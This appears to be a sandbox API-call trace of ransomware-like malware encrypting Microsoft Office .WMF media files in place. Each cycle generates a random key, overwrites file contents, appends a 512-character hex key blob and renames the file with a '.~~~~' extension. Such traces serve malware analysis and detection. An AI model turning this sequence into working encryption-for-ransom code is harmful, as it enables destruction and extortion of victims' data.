	[0126.163] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.163] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.163] CloseHandle (hObject=0x11c) returned 1
	[0126.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bab98
	[0126.163] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf.~~~~")) returned 1
	[0126.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bab98 | out: hHeap=0x300000) returned 1
	[0126.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.164] GetLastError () returned 0x0
	[0126.227] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.258] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.258] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24624803335) returned 1
	[0126.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4b67b10, dwHighDateTime=0x1d60e1e)) 
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc48
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc48 | out: hHeap=0x300000) returned 1
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aba08
	[0126.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0126.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.259] GetLastError () returned 0x0
	[0126.259] GetLastError () returned 0x0
	[0126.259] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.260] GetLastError () returned 0x0
	[0126.260] GetLastError () returned 0x0
	[0126.263] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeaae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.263] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1552, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1552, lpOverlapped=0x0) returned 1
	[0126.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.265] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.266] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.266] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.266] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.266] CloseHandle (hObject=0x144) returned 1
	[0126.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aba08
	[0126.266] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf.~~~~")) returned 1
	[0126.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0126.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.268] GetLastError () returned 0x0
	[0126.268] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.269] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.269] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.269] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24625940390) returned 1
	[0126.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4b8dc70, dwHighDateTime=0x1d60e1e)) 
	[0126.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b9e0
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b9e0 | out: hHeap=0x300000) returned 1
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aba08
	[0126.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0126.270] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.270] GetLastError () returned 0x0
	[0126.270] GetLastError () returned 0x0
	[0126.271] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.271] GetLastError () returned 0x0
	[0126.271] GetLastError () returned 0x0
	[0126.294] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff84c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.294] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x7b4, lpOverlapped=0x0) returned 1
	[0126.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.296] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.297] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.297] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.297] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.297] CloseHandle (hObject=0x144) returned 1
	[0126.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aba08
	[0126.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf.~~~~")) returned 1
	[0126.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0126.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.299] GetLastError () returned 0x0
	[0126.299] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.300] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.300] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.301] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24629068073) returned 1
	[0126.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4bb3dd0, dwHighDateTime=0x1d60e1e)) 
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280ba50
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba50 | out: hHeap=0x300000) returned 1
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ac140
	[0126.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.301] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0126.301] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.302] GetLastError () returned 0x0
	[0126.302] GetLastError () returned 0x0
	[0126.302] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.302] GetLastError () returned 0x0
	[0126.302] GetLastError () returned 0x0
	[0126.305] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff77c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.305] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x884, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x884, lpOverlapped=0x0) returned 1
	[0126.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.306] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.306] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.307] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.307] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.307] CloseHandle (hObject=0x144) returned 1
	[0126.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac140
	[0126.307] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf.~~~~")) returned 1
	[0126.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0126.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.308] GetLastError () returned 0x0
	[0126.309] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.311] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.311] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.311] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24630108849) returned 1
	[0126.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4bd9f30, dwHighDateTime=0x1d60e1e)) 
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b938
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b938 | out: hHeap=0x300000) returned 1
	[0126.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abb58
	[0126.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.312] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.312] GetLastError () returned 0x0
	[0126.312] GetLastError () returned 0x0
	[0126.312] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.312] GetLastError () returned 0x0
	[0126.313] GetLastError () returned 0x0
	[0126.354] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff81c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.354] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x7e4, lpOverlapped=0x0) returned 1
	[0126.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.472] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.472] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.478] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.478] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.478] CloseHandle (hObject=0x144) returned 1
	[0126.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abf48
	[0126.478] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf.~~~~")) returned 1
	[0126.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0126.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.479] GetLastError () returned 0x0
	[0126.480] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.481] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.481] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24647143983) returned 1
	[0126.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4d7ce50, dwHighDateTime=0x1d60e1e)) 
	[0126.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b890
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0126.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b890 | out: hHeap=0x300000) returned 1
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abca8
	[0126.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abca8 | out: hHeap=0x300000) returned 1
	[0126.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.482] GetLastError () returned 0x0
	[0126.483] GetLastError () returned 0x0
	[0126.483] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.483] GetLastError () returned 0x0
	[0126.483] GetLastError () returned 0x0
	[0126.486] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff92c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.486] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x6d4, lpOverlapped=0x0) returned 1
